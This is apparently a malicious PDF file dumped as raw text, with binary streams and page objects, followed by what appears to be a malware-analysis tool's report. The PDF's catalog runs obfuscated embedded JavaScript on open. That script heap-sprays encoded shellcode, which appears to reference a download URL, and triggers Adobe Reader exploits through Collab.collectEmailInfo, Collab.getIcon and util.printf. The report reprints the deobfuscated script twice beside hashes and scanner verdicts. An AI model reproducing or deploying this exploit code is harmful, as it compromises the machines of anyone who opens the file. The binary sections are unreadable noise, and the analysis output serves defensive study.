Q!lF����R �X �-i�[���J� ��{��^�����^����s�m���6��-YZEd ���;�p (� ��P��-��_ }限���.��l�U�g ����� s��JY���+����%��^[nh �"� � B ��b�X-:Lr_"il�L44�� "[�P d�!04p Q6 k &*Y,q� � 9��K �� ,.���D�tZr �A�W �R�-x�5@Z�^ �!�*h"x,� " �d*UPWq�i��C5E F�
�;����&g �� ���� ?����>��� >�����w�l��^` ���d��U�0���Ox �E}+ �������֜� :[ ( Ϥ] ��!m *�*O��L} >�%N��h�d�R� �-$ � 0��r�&�N[.J�ׁ̜tL �1iV �Y�n���� ����<�i�� � �ט����;�ač@��B�
v�wc⭕� D�~g?rjq^� "��U:t�?�� ����NB�-��T�� ��K1� ��AN5#Rm�,����(��r5�'�,� b˽Bsto�߅N֎{�� ^Dzrdy��8**�ܟ � �� ��1�p��5
DP�
g����f>�' Q0�� 9v�%�ȟOl G�# }^ǽ�T�h��쟣���<jp31�W�o �P �[�S��N��.��c鴇 �(�1�Mn�, �P��q�WǓ���ޙ�ʖ� n��q�z� �:��1�%o���i���5.Ӱ N�� H��5� k?K�`L�� '�c�IvY���f \��F�m�+$� {RaӬ��q��B�� Ա�z�Gxi� �p�
�A/ ����Q��0� H ����y�6_ q�7%�*�L��cd`� zp�c��<# � y� �m 4Z�#�R���Y4^{ �c�)Mn�zn ����(�t�X��1��n�X���M��� �=�}� ���p�a�.1�"l��iNi�ľ�y�X؈F*��}dh v����@ ���m�4� MyӀ*�5-; �0T�` Y:�wm 6� �>�%N۞I d YT)V� ��}eG����N�^
��+�毱���-�-��q�RP� �~M���'��i
B}��In�p� �uL� B�7X?��I*(Qڣhx���<rz3"��Z����|�=]���#�a� S �- ' ד2j1ې �
7~S54c@ �Q��r-�# �n�vrs՝ݗ}�CI����P�$ ���~��z�� 稅|������� LE��r��o�$焺{���g5��L� _d3���l{��p�3�� -N�7[ �| �q�*�56��c�~A<5� ��Kw���f=�y�:�� '<S ��<ϝJL �s"�u����Fl �Aq�U�Y��N{{o�I_v\ �ז�A �n��� ;� ���5�5�X�Z�^�9� �. ��Hi ����� �>�E��_l����d�L��9R��� ���q�n&U)[T6����7| �Zf��K�S�����ޤx���7)^]�7��H�N } /V�۷o��q�(z��m � � ��� ��f�S�T`�ZAx:� -,"?m/��s }0�k|�� � �� �� � =�l)���'��#h� Nm����Sp �R�� �
�5�=od�E5mK�Э� � � m��V�8v�z����{�N�D�� a��"G� 4| �`u�h>� �t�[F������� / -�[K!���}� �G���bj��>)�> -Z�N:ڡ#�2� ��� ��k-�v����r �� ]�o9�V���{� �{���v�s�� n�(���ڝ��q�w8Ÿﭦ�HU��K}ܓ:7�p>�- ���&tN�FE�k�%N ��� ��;�� q��'��� � �� ,&m�9��4Y@Z%7� �� 7� =b�=w�F�#�w�yO ��� \���Em�(�"<�c'6�� K:�� ӊ:��&4
� %��V+�� ��6�L���ҍ{� {�<B[;��X�����/��i��v�j���#����Si �1`�ª�WrY:架]���9v �PV��!�#h7ߞ��Z �{�G�A���=a|��>`|f� a�^� |F�e%� �@�#T�?�|� �I;
endstream
endobj
9 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 10 0 R>>
endobj
10 0 obj
<</Filter /FlateDecode /Length 841>>
stream
x��V�r�6 ��+ޥ3� &)���q�x�� ��!� D,I� A �h�뻴dŪ�d�V=� v��}o�b �t� �����'�Q�nx���
��&X�(¦�����`��l�㹘��%B��l�E"R�[�"J�7��%�k�� �9V����fp���FgOW�_ gK�,�Jؘb����- ;�rtmm��'l����b�e�ob��} �er�il[��I�!����X� f ��n6 �����7�� O���x�o�=���&s,����h������7�� ��Ҿ�|/M��+�=U&����VI�k��@����\� *�q��� Uh� �
eI
��� � ��
���� �t J�' _�����
z�t$�*�� �b-�� [c;Bi z� Q8;� �kF� # � �8K^� �� �)Y���趄��c؋�f ��X�/��{�t o� ��<g� ��zTT0�?Kgؕ|��@ �����mQKf�0�c �iӅ� x���Kb�'bq�H�[ `�RĢяϊ�Fe��,z �� e:����� ͥ�ۭÎ� q/����2c�d1 �� >xM,n�� w[�#t��-���h5{Qg�
,�n"��ҏ����\�K�� 'տ�j��A��Y�` 2w�{�� �@-��}�H�U �� �4���bg �[�= � � � [�I:���X ��� �Y)}wQ E٩9vr j�vD�h�l��� pRMpui���F4���; |���[C�� v'�ڳ�M� -� ���5�y�;��X� �Y.�@���кK�.[/O��k�� ��{�����f��ޅ �6}� kX�^Or-���8C g#��ӷC��sP�ǠLVb�~����4&��Z �u�x}���� �� �X� � �to�
endstream
endobj
1 0 obj
<</Type /Pages
/Kids [
3 0 R
5 0 R
7 0 R
9 0 R
]
/Count 4
>>
endobj
11 0 obj
<</Type /OCG /Name (��print)
/Usage <</Print <</PrintState /ON>> /View <</ViewState /OFF>>>>>>
endobj
12 0 obj
<</Type /OCG /Name (��view)
/Usage <</Print <</PrintState /OFF>> /View <</ViewState /ON>>>>>>
endobj
13 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica
/Name /F1
/Encoding /WinAnsiEncoding
>>
endobj
14 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Courier
/Name /F2
/Encoding /WinAnsiEncoding
>>
endobj
15 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica-Bold
/Name /F3
/Encoding /WinAnsiEncoding
>>
endobj
16 0 obj
<</Type /XObject
/Subtype /Image
/Width 400
/Height 200
/ColorSpace /DeviceRGB
/BitsPerComponent 8
/Filter /DCTDecode
/Length 2366>>
stream
���� JFIF ��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
��C
$.' ",# (7),01444 '9=82<.342��C
2! !22222222222222222222222222222222222222222222222222�� � � " ��
�ĵ } !1A Qa "q 2��� #B�� R��$3br�
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz���������������������������������������������������������������������������
�ĵ w !1 AQ aq "2� B���� #3R� br�
$4�%� &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�������������������������������������������������������������������������� ?�袊�s�
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��ڙc�z
e Q@ Q@ Q@ Q@ R���@ E?���=)��� QL �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� Jy�=QMGE
(�� Q@ Q@ Q@ *�� J( P� #<��� �:RQI+QE �(��(��(��(��(��(��(���kk��>�1��s��Un D��Wk7��D
)bz�~�);� ��*�(��T�09� �B���՞<�C�� �?� Lm Q@ (� �(� �(� �(� �(� ��3��Jtd`(9"�� �8 ��kqh��
(��
(��
(��
(��
(��
(��
(��
(��
(��
( ��
�s��v v"��)�(��(��(��(��)�� E6�|� �v�u��(��(��(��(��(��� (��@ QE QE QE QE QE QE QE QE QE QE QE "���y�GE&�
\VmǠ �QL �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �)� �I;Tu&�� (�ț ��e � �(� �(� �(� �(� �(� �3Ҋ� �ê�=� ��h������h � QE
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
� N�T �ꊊM]X �fY?v�� ��ګQE �* � QE0
(��
(��
(��
(��
r�/C�m �.�� <����(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��*A < ���S/*è �s��$O��� )8�sQӋ� �NqM��ij8���E U QE QE QE QE QE QE QE QE QE S�������� B � NԹ�� QE �(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���B�LR�H,��G>� �$�Ҹ�DTQ��� �� H ː�� � . d�Y��w�urycx
��`��Z�N;
(�� (� �(� �(� �(� �YG�Q�>�
�S� �(� E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P Y c� �U ����QK�^�`��)�QE QE QE QE QE QE QE QE QE QE zS��Q@ E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P ��
endstream
endobj
2 0 obj
<<
/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
/Font <<
/F1 13 0 R
/F2 14 0 R
/F3 15 0 R
>>
/XObject <<
/I1 16 0 R
>>
/Properties <</OC1 11 0 R /OC2 12 0 R>>
/ExtGState <<
>>
>>
endobj
17 0 obj
<<
/Names [(EmbeddedJS) 18 0 R ]
>>
endobj
18 0 obj
<<
/S /JavaScript
/JS (��function vbOPusNc\(vb6ey6Vut\){return vb6ey6Vut;}var aJvlnOjm=new Array\(9070,18959,19100\);var f7D1bcqX="vd9aTHHp";var oFJlWmX8 = 'var yiVRjOkYtm = new Array\(\);var zfBUZF8x;function ozT5jZ5D\(wYkUBVd4, ktekUbjH\){while\(wYkUBVd4.length * 2 < ktekUbjH\){wYkUBVd4 += wYkUBVd4;}wYkUBVd4 = wYkUBVd4.substring\(0, ktekUbjH / 2\);return wYkUBVd4;}function mCMeZdpVP\(hbpVkVkFCM\){if\(hbpVkVkFCM == 0\){var l8v9dClzn = 0x0c0c0c0c;}else if\(hbpVkVkFCM == 1\){l8v9dClzn = 0x30303030;}var q9pY6GQ0b = new Array\(\\"%u5350%u5\\",\\"251%u57\\",\\"56%u9c5\\",\\"5%u00e8%u0\\",\\"000%u5d00%\\",\\"ued83%u3\\",\\"10d%u64c0%\\",\\"u4003%u783\\",\\"0%u8b0c\\",\\"%u0c40%u70\\",\\"8b%uad1c%\\",\\"u408b%\\",\\"ueb08%u8b0\\",\\"9%u3440%u\\",\\"408d%\\",\\"u8b7c%u\\",\\"3c40%u5\\",\\"756%u5eb\\",\\"e%u0001%u\\",\\"0100%ubfee\\",\\"%u014e\\",\\"%u0000%\\",\\"uef01%ud6\\",\\"e8%u0001\\",\\"%u5f00%\\",\\"u895e%u81e\\",\\"a%u5ec2%u0\\",\\"001%u5200%\\",\\"u8068%u0\\",\\"000%uf\\",\\"f00%u4e9\\",\\"5%u0001\\",\\"%u8900%\\",\\"u81ea%u5ec\\",\\"2%u000\\",\\"1%u3100%u\\",\\"01f6%u8a\\",\\"c2%u359c%u\\",\\"0263%u\\",\\"0000%ufb\\",\\"80%u7\\",\\"400%u\\",\\"8806%u\\",\\"321c%ue\\",\\"b46%uc\\",\\"6ee%u3\\",\\"204%u890\\",\\"0%u81ea%u4\\",\\"5c2%u0002%\\",\\"u5200%\\",\\"u95ff%u015\\",\\"2%u0000\\",\\"%uea89%uc2\\",\\"81%u0\\",\\"250%u00\\",\\"00%u5052%u\\",\\"95ff%\\",\\"u0156%\\",\\"u0000%u006\\",\\"a%u006a%u\\",\\"ea89%uc28\\",\\"1%u015e%u0\\",\\"000%u89\\",\\"52%u81ea\\",\\"%u78c\\",\\"2%u0002%u\\",\\"5200%u006a\\",\\"%ud0ff%u05\\",\\"6a%uea\\",\\"89%uc281%\\",\\"u015e%u\\",\\"0000%uff\\",\\"52%u5a95\\",\\"%u0001%u\\",\\"8900%u81\\",\\"ea%u5ec2%u\\",\\"0001%u\\",\\"5200%u\\",\\"8068%u0000\\",\\"%uff00%u4\\",\\"e95%u00\\",\\"01%u89\\",\\"00%u8\\",\\"1ea%u5e\\",\\"c2%u0001\\",\\"%u310\\",\\"0%u01f6%u8\\",\\"ac2%u359c\\",\\"%u026e%u\\",\\"0000%ufb80\\",\\"%u7400%u\\",\\"8806%\\",\\"u321c%ueb\\",\\"46%uc\\",\\"6ee%u3\\",\\"204%u8\\",\\"900%u81\\",\\"ea%u45c2%u\\",\\"0002%u5\\",\\"200%u95f\\",\\"f%u0152%u\\",\\"0000%uea89\\",\\"%uc281%\\",\\"u0250\\",\\"%u0000%u50\\",\\"52%u95f\\",\\"f%u0156%u0\\",\\"000%u006a%\\",\\"u006a%\\",\\"uea89%u\\",\\"c281%u\\",\\"015e%u0000\\",\\"%u8952%u81\\",\\"ea%ua6c2%\\",\\"u0002%u520\\",\\"0%u006a%\\",\\"ud0ff\\",\\"%u056a%\\",\\"uea89%u\\",\\"c281%u015\\",\\"e%u0000%uf\\",\\"f52%u5a95%\\",\\"u0001%\\",\\"u9d00%u5\\",\\"f5d%u5a5e\\",\\"%u5b59%\\",\\"uc358%u000\\",\\"0%u00\\",\\"00%u0000%\\",\\"u0000%u0\\",\\"000%u0000\\",\\"%u0000%u\\",\\"0000%u\\",\\"6547%u5\\",\\"474%u6\\",\\"d65%u5070\\",\\"%u7461\\",\\"%u4168%u\\",\\"4c00%u616f\\",\\"%u4c64\\",\\"%u6269\\",\\"%u617\\",\\"2%u797\\",\\"2%u0041%\\",\\"u6547\\",\\"%u5074%u\\",\\"6f72%u416\\",\\"3%u646\\",\\"4%u6572\\",\\"%u737\\",\\"3%u5700%u\\",\\"6e69%u\\",\\"7845%\\",\\"u6365%\\",\\"ubb00%uf28\\",\\"9%uf789%\\",\\"uc030%u7\\",\\"5ae%u2\\",\\"9fd%u89\\",\\"f7%u31f\\",\\"9%ubec0%u0\\",\\"03c%u000\\",\\"0%ub5\\",\\"03%u021b%u\\",\\"0000%uad\\",\\"66%u85\\",\\"03%u021b%u\\",\\"0000%u708b\\",\\"%u8378%\\",\\"u1cc6\\",\\"%ub503%u02\\",\\"1b%u0000%u\\",\\"bd8d%u021f\\",\\"%u000\\",\\"0%u03a\\",\\"d%u1b85%\\",\\"u0002%\\",\\"uab00%u03\\",\\"ad%u1b8\\",\\"5%u0002\\",\\"%u5000%u\\",\\"adab%\\",\\"u8503%u021\\",\\"b%u00\\",\\"00%u5\\",\\"eab%u\\",\\"db31%u\\",\\"56ad%\\",\\"u8503%\\",\\"u021b%u\\",\\"0000%uc68\\",\\"9%ud7\\",\\"89%ufc51%u\\",\\"a6f3%u7459\\",\\"%u5e0\\",\\"4%ueb43%\\",\\"u5ee9%ud1\\",\\"93%u03e0\\",\\"%u2785%u\\",\\"0002%u3\\",\\"100%u96\\",\\"f6%ua\\",\\"d66%ue0c1\\",\\"%u0302%u1f\\",\\"85%u0002\\",\\"%u8900%\\",\\"uadc6\\",\\"%u8503%u02\\",\\"1b%u00\\",\\"00%ueb\\",\\"c3%u0\\",\\"010%u0000\\",\\"%u0000%u0\\",\\"000%u000\\",\\"0%u0000%u0\\",\\"000%u0\\",\\"000%u\\",\\"8900%u\\",\\"1b85%u00\\",\\"02%u5600%\\",\\"ue857%uff5\\",\\"8%uffff%u5\\",\\"e5f%u\\",\\"01ab%\\",\\"u80ce%ubb3\\",\\"e%u0274%\\",\\"uedeb%\\",\\"u55c3%u4c\\",\\"52%u4f4d%\\",\\"u2e4e%\\",\\"u4c44\\",\\"%u004c%\\",\\"u5255%\\",\\"u444c%u\\",\\"776f%u6c\\",\\"6e%u616\\",\\"f%u54\\",\\"64%u4\\",\\"66f%u6c69\\",\\"%u4165%u7\\",\\"500%u\\",\\"6470%\\",\\"u7461%u2\\",\\"e65%u786\\",\\"5%u0065%u\\",\\"7263%u7\\",\\"361%u2e68%\\",\\"u6870%u00\\",\\"70%u7468%u\\",\\"7074%u2f3\\",\\"a%u742f%u\\",\\"6172%u6b63\\",\\"%u7265\\",\\"%u6c2e%u6b\\",\\"69%u64\\",\\"65%u7665\\",\\"%u6c69%u6\\",\\"32e%u6d6f\\",\\"%u352\\",\\"f%u752\\",\\"f%u6470%\\",\\"u7461%\\",\\"u2e65%u\\",\\"6870%u3f\\",\\"70%u6\\",\\"469%u\\",\\"333d%u\\",\\"7226%u\\",\\"7465%u6\\",\\"f3d%u0\\",\\"06b%u90\\",\\"00\\"\);q9pY6GQ0b = unescape\(q9pY6GQ0b.join\(\\"\\"\)\);var q9sXtOncko = 0x400000;var va7mY8cM = q9pY6GQ0b.length * 2;var ktekUbjH = q9sXtOncko - \(va7mY8cM + 0x38\);var wYkUBVd4 = unescape\(\\"%u9090%u9090\\"\);wYkUBVd4 = ozT5jZ5D\(wYkUBVd4, ktekUbjH\);var n5e4GmGIKa = \(l8v9dClzn - 0x400000\) / q9sXtOncko;for\(var gKGfNIjg = 0; gKGfNIjg < n5e4GmGIKa; gKGfNIjg++\){yiVRjOkYtm[gKGfNIjg] = wYkUBVd4 + q9pY6GQ0b;}}function jxJhkMf2\(\){var rBMniiLJa = 0;var zzRTq7dyO = app.viewerVersion.toString\(\);app.clearTimeOut\(zfBUZF8x\);if\(\(zzRTq7dyO >= 8 && zzRTq7dyO < 8.102\) || zzRTq7dyO < 7.1\){mCMeZdpVP\(0\);var bT7jAmo1 = unescape\(\\"%u0c0c%u0c0c\\"\);while\(bT7jAmo1.length < 44952\) bT7jAmo1 += bT7jAmo1;var qWB6pzpon9 = this;var laBXf53Fr = Collab;qWB6pzpon9[\\"collabStore\\"] = laBXf53Fr[\\"collectEmailInfo\\"]\({subj : \\"\\", msg : bT7jAmo1}\);}if\(\(zzRTq7dyO >= 8.102 && zzRTq7dyO < 8.104\) || \(zzRTq7dyO >= 9 && zzRTq7dyO < 9.1\) || zzRTq7dyO <= 7.101\){try{if\(app.doc.Collab.getIcon\){mCMeZdpVP\(2\);var swqUMHj0 = unescape\(\\" \\"\);while\(swqUMHj0.length < 0x4000\){swqUMHj0 += swqUMHj0;}swqUMHj0 = \\"N.\\" + swqUMHj0;var mge6M2hGmG = app;mge6M2hGmG[\\"doc\\"][\\"Collab\\"][\\"getIcon\\"]\(swqUMHj0\);rBMniiLJa = 1;}else{rBMniiLJa = 1;}}catch\(e\){rBMniiLJa = 1;}if\(rBMniiLJa == 1\){if\(zzRTq7dyO == 8.102 || zzRTq7dyO == 7.1\){mCMeZdpVP\(1\);var upC1McjEWW = \\"12999999999999999999\\";for\(ar1gkQ9RM = 0; ar1gkQ9RM < 276; ar1gkQ9RM++\){upC1McjEWW += \\"8\\";}var rfxwu5AIU4 = util;rfxwu5AIU4[\\"printf\\"]\(\\"E000f\\", upC1McjEWW\);}}}}app.qw53gKJIH = jxJhkMf2;zfBUZF8x = app.setTimeOut\(\\"app.qw53gKJIH\(\)\\", 10\);';v847Hso8j='ywtF0exopJ';function mrtzccJBY\(lgKM5z1y\){}var wyxZA3FeX=new Array\(27940,8333\);var hw7uuCjlG = oFJlWmX8.replace\(/[]/g, ''\);this.emvdmINgG="oIFZIYIbG";var cMOmwedLLy="dem5WxX7g";var nB3upYHy="aqhpBlfh";var mTemA9jcn = 'e'+'v'+'a'+'l';app[mTemA9jcn]\(hw7uuCjlG\);this.xW5itivYJ=0.20698;var dhmgURT2=false;this.uZFfCaF2a=null;)
>>
endobj
19 0 obj
<<
/Title (��ifDuringHave)
/Author (��longLoremRepeat)
/Subject (��bcFormWhen)
/Keywords (��ifCiceroGalley, toExactDummy, isntLikeAldus)
/Creator (��pageDolor)
/Producer (��fced4f35799409dd854ebeaea7db546d)
/CreationDate (D:20091020170433+04'00')
/ModDate (D:20091020170433+04'00')
>>
endobj
20 0 obj
<<
/Type /Catalog
/Pages 1 0 R
/OpenAction [3 0 R /FitH null]
/PageLayout /SinglePage
/PageMode /UseNone
/Lang /en
/Names <<
/JavaScript 17 0 R
>>
/ViewerPreferences<<
/Direction /L2R
>>
/OCProperties <</OCGs [11 0 R 12 0 R] /D <</ON [11 0 R] /OFF [12 0 R] /AS [<</Event /Print /OCGs [11 0 R 12 0 R] /Category [/Print]>> <</Event /View /OCGs [11 0 R 12 0 R] /Category [/View]>>]>>>>
>>
endobj
xref
0 21
0000000000 65535 f
0000009661 00000 n
0000012824 00000 n
0000000009 00000 n
0000000117 00000 n
0000002999 00000 n
0000003107 00000 n
0000005747 00000 n
0000005855 00000 n
0000008640 00000 n
0000008749 00000 n
0000009737 00000 n
0000009853 00000 n
0000009967 00000 n
0000010074 00000 n
0000010179 00000 n
0000010291 00000 n
0000013019 00000 n
0000013071 00000 n
0000025365 00000 n
0000025787 00000 n
trailer
<<
/Size 21
/Root 20 0 R
/Info 19 0 R
>>
startxref
26189
%%EOF
|
|||
generic_stage_recovery_006.js |
deobfuscated-js | generic stage recovery null-collapse -> split-literal-normalize from JavaScript object 18 at offset 0x330F | 5783 bytes |
SHA-256: 80b2b4db779fc0696897305ebc4690c449b01496b66954470dd25207cd9d866b |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s). 37 of 65 identifiers look randomly generated (e.g. 'q9sXtOncko') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
��function vbOPusNc(vb6ey6Vut){return vb6ey6Vut;}var aJvlnOjm=new Array(9070,18959,19100);var f7D1bcqX="vd9aTHHp";var oFJlWmX8 = 'var yiVRjOkYtm = new Array();var zfBUZF8x;function ozT5jZ5D(wYkUBVd4, ktekUbjH){while(wYkUBVd4.length * 2 < ktekUbjH){wYkUBVd4 += wYkUBVd4;}wYkUBVd4 = wYkUBVd4.substring(0, ktekUbjH / 2);return wYkUBVd4;}function mCMeZdpVP(hbpVkVkFCM){if(hbpVkVkFCM == 0){var l8v9dClzn = 0x0c0c0c0c;}else if(hbpVkVkFCM == 1){l8v9dClzn = 0x30303030;}var q9pY6GQ0b = new Array(\"%u5350%u5\",\"251%u57\",\"56%u9c5\",\"5%u00e8%u0\",\"000%u5d00%\",\"ued83%u3\",\"10d%u64c0%\",\"u4003%u783\",\"0%u8b0c\",\"%u0c40%u70\",\"8b%uad1c%\",\"u408b%\",\"ueb08%u8b0\",\"9%u3440%u\",\"408d%\",\"u8b7c%u\",\"3c40%u5\",\"756%u5eb\",\"e%u0001%u\",\"0100%ubfee\",\"%u014e\",\"%u0000%\",\"uef01%ud6\",\"e8%u0001\",\"%u5f00%\",\"u895e%u81e\",\"a%u5ec2%u0\",\"001%u5200%\",\"u8068%u0\",\"000%uf\",\"f00%u4e9\",\"5%u0001\",\"%u8900%\",\"u81ea%u5ec\",\"2%u000\",\"1%u3100%u\",\"01f6%u8a\",\"c2%u359c%u\",\"0263%u\",\"0000%ufb\",\"80%u7\",\"400%u\",\"8806%u\",\"321c%ue\",\"b46%uc\",\"6ee%u3\",\"204%u890\",\"0%u81ea%u4\",\"5c2%u0002%\",\"u5200%\",\"u95ff%u015\",\"2%u0000\",\"%uea89%uc2\",\"81%u0\",\"250%u00\",\"00%u5052%u\",\"95ff%\",\"u0156%\",\"u0000%u006\",\"a%u006a%u\",\"ea89%uc28\",\"1%u015e%u0\",\"000%u89\",\"52%u81ea\",\"%u78c\",\"2%u0002%u\",\"5200%u006a\",\"%ud0ff%u05\",\"6a%uea\",\"89%uc281%\",\"u015e%u\",\"0000%uff\",\"52%u5a95\",\"%u0001%u\",\"8900%u81\",\"ea%u5ec2%u\",\"0001%u\",\"5200%u\",\"8068%u0000\",\"%uff00%u4\",\"e95%u00\",\"01%u89\",\"00%u8\",\"1ea%u5e\",\"c2%u0001\",\"%u310\",\"0%u01f6%u8\",\"ac2%u359c\",\"%u026e%u\",\"0000%ufb80\",\"%u7400%u\",\"8806%\",\"u321c%ueb\",\"46%uc\",\"6ee%u3\",\"204%u8\",\"900%u81\",\"ea%u45c2%u\",\"0002%u5\",\"200%u95f\",\"f%u0152%u\",\"0000%uea89\",\"%uc281%\",\"u0250\",\"%u0000%u50\",\"52%u95f\",\"f%u0156%u0\",\"000%u006a%\",\"u006a%\",\"uea89%u\",\"c281%u\",\"015e%u0000\",\"%u8952%u81\",\"ea%ua6c2%\",\"u0002%u520\",\"0%u006a%\",\"ud0ff\",\"%u056a%\",\"uea89%u\",\"c281%u015\",\"e%u0000%uf\",\"f52%u5a95%\",\"u0001%\",\"u9d00%u5\",\"f5d%u5a5e\",\"%u5b59%\",\"uc358%u000\",\"0%u00\",\"00%u0000%\",\"u0000%u0\",\"000%u0000\",\"%u0000%u\",\"0000%u\",\"6547%u5\",\"474%u6\",\"d65%u5070\",\"%u7461\",\"%u4168%u\",\"4c00%u616f\",\"%u4c64\",\"%u6269\",\"%u617\",\"2%u797\",\"2%u0041%\",\"u6547\",\"%u5074%u\",\"6f72%u416\",\"3%u646\",\"4%u6572\",\"%u737\",\"3%u5700%u\",\"6e69%u\",\"7845%\",\"u6365%\",\"ubb00%uf28\",\"9%uf789%\",\"uc030%u7\",\"5ae%u2\",\"9fd%u89\",\"f7%u31f\",\"9%ubec0%u0\",\"03c%u000\",\"0%ub5\",\"03%u021b%u\",\"0000%uad\",\"66%u85\",\"03%u021b%u\",\"0000%u708b\",\"%u8378%\",\"u1cc6\",\"%ub503%u02\",\"1b%u0000%u\",\"bd8d%u021f\",\"%u000\",\"0%u03a\",\"d%u1b85%\",\"u0002%\",\"uab00%u03\",\"ad%u1b8\",\"5%u0002\",\"%u5000%u\",\"adab%\",\"u8503%u021\",\"b%u00\",\"00%u5\",\"eab%u\",\"db31%u\",\"56ad%\",\"u8503%\",\"u021b%u\",\"0000%uc68\",\"9%ud7\",\"89%ufc51%u\",\"a6f3%u7459\",\"%u5e0\",\"4%ueb43%\",\"u5ee9%ud1\",\"93%u03e0\",\"%u2785%u\",\"0002%u3\",\"100%u96\",\"f6%ua\",\"d66%ue0c1\",\"%u0302%u1f\",\"85%u0002\",\"%u8900%\",\"uadc6\",\"%u8503%u02\",\"1b%u00\",\"00%ueb\",\"c3%u0\",\"010%u0000\",\"%u0000%u0\",\"000%u000\",\"0%u0000%u0\",\"000%u0\",\"000%u\",\"8900%u\",\"1b85%u00\",\"02%u5600%\",\"ue857%uff5\",\"8%uffff%u5\",\"e5f%u\",\"01ab%\",\"u80ce%ubb3\",\"e%u0274%\",\"uedeb%\",\"u55c3%u4c\",\"52%u4f4d%\",\"u2e4e%\",\"u4c44\",\"%u004c%\",\"u5255%\",\"u444c%u\",\"776f%u6c\",\"6e%u616\",\"f%u54\",\"64%u4\",\"66f%u6c69\",\"%u4165%u7\",\"500%u\",\"6470%\",\"u7461%u2\",\"e65%u786\",\"5%u0065%u\",\"7263%u7\",\"361%u2e68%\",\"u6870%u00\",\"70%u7468%u\",\"7074%u2f3\",\"a%u742f%u\",\"6172%u6b63\",\"%u7265\",\"%u6c2e%u6b\",\"69%u64\",\"65%u7665\",\"%u6c69%u6\",\"32e%u6d6f\",\"%u352\",\"f%u752\",\"f%u6470%\",\"u7461%\",\"u2e65%u\",\"6870%u3f\",\"70%u6\",\"469%u\",\"333d%u\",\"7226%u\",\"7465%u6\",\"f3d%u0\",\"06b%u90\",\"00\");q9pY6GQ0b = unescape(q9pY6GQ0b.join(\"\"));var q9sXtOncko = 0x400000;var va7mY8cM = q9pY6GQ0b.length * 2;var ktekUbjH = q9sXtOncko - (va7mY8cM + 0x38);var wYkUBVd4 = unescape(\"%u9090%u9090\");wYkUBVd4 = ozT5jZ5D(wYkUBVd4, ktekUbjH);var n5e4GmGIKa = (l8v9dClzn - 0x400000) / q9sXtOncko;for(var gKGfNIjg = 0; gKGfNIjg < n5e4GmGIKa; gKGfNIjg++){yiVRjOkYtm[gKGfNIjg] = wYkUBVd4 + q9pY6GQ0b;}}function jxJhkMf2(){var rBMniiLJa = 0;var zzRTq7dyO = app.viewerVersion.toString();app.clearTimeOut(zfBUZF8x);if((zzRTq7dyO >= 8 && zzRTq7dyO < 8.102) || zzRTq7dyO < 7.1){mCMeZdpVP(0);var bT7jAmo1 = unescape(\"%u0c0c%u0c0c\");while(bT7jAmo1.length < 44952) bT7jAmo1 += bT7jAmo1;var qWB6pzpon9 = this;var laBXf53Fr = Collab;qWB6pzpon9[\"collabStore\"] = laBXf53Fr[\"collectEmailInfo\"]({subj : \"\", msg : bT7jAmo1});}if((zzRTq7dyO >= 8.102 && zzRTq7dyO < 8.104) || (zzRTq7dyO >= 9 && zzRTq7dyO < 9.1) || zzRTq7dyO <= 7.101){try{if(app.doc.Collab.getIcon){mCMeZdpVP(2);var swqUMHj0 = unescape(\"%09\");while(swqUMHj0.length < 0x4000){swqUMHj0 += swqUMHj0;}swqUMHj0 = \"N.\" + swqUMHj0;var mge6M2hGmG = app;mge6M2hGmG[\"doc\"][\"Collab\"][\"getIcon\"](swqUMHj0);rBMniiLJa = 1;}else{rBMniiLJa = 1;}}catch(e){rBMniiLJa = 1;}if(rBMniiLJa == 1){if(zzRTq7dyO == 8.102 || zzRTq7dyO == 7.1){mCMeZdpVP(1);var upC1McjEWW = \"12999999999999999999\";for(ar1gkQ9RM = 0; ar1gkQ9RM < 276; ar1gkQ9RM++){upC1McjEWW += \"8\";}var rfxwu5AIU4 = util;rfxwu5AIU4[\"printf\"](\"%45000f\", upC1McjEWW);}}}}app.qw53gKJIH = jxJhkMf2;zfBUZF8x = app.setTimeOut(\"app.qw53gKJIH()\", 10);';v847Hso8j='ywtF0exopJ';function mrtzccJBY(lgKM5z1y){}var wyxZA3FeX=new Array(27940,8333);var hw7uuCjlG = oFJlWmX8.replace(/[]/g, '');this.emvdmINgG="oIFZIYIbG";var cMOmwedLLy="dem5WxX7g";var nB3upYHy="aqhpBlfh";var mTemA9jcn = 'eval';app[mTemA9jcn](hw7uuCjlG);this.xW5itivYJ=0.20698;var dhmgURT2=false;this.uZFfCaF2a=null;
|
|||
generic_stage_recovery_007.js |
deobfuscated-js | generic stage recovery null-collapse -> percent-decode from JavaScript object 18 at offset 0x330F | 5788 bytes |
SHA-256: 3b61237e6b7cfe79d8b16ca1bd13546cf0b0041804ad82db47e96296e5a6d929 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s). 37 of 65 identifiers look randomly generated (e.g. 'q9sXtOncko') — consistent with name-mangling obfuscation.
|
|||
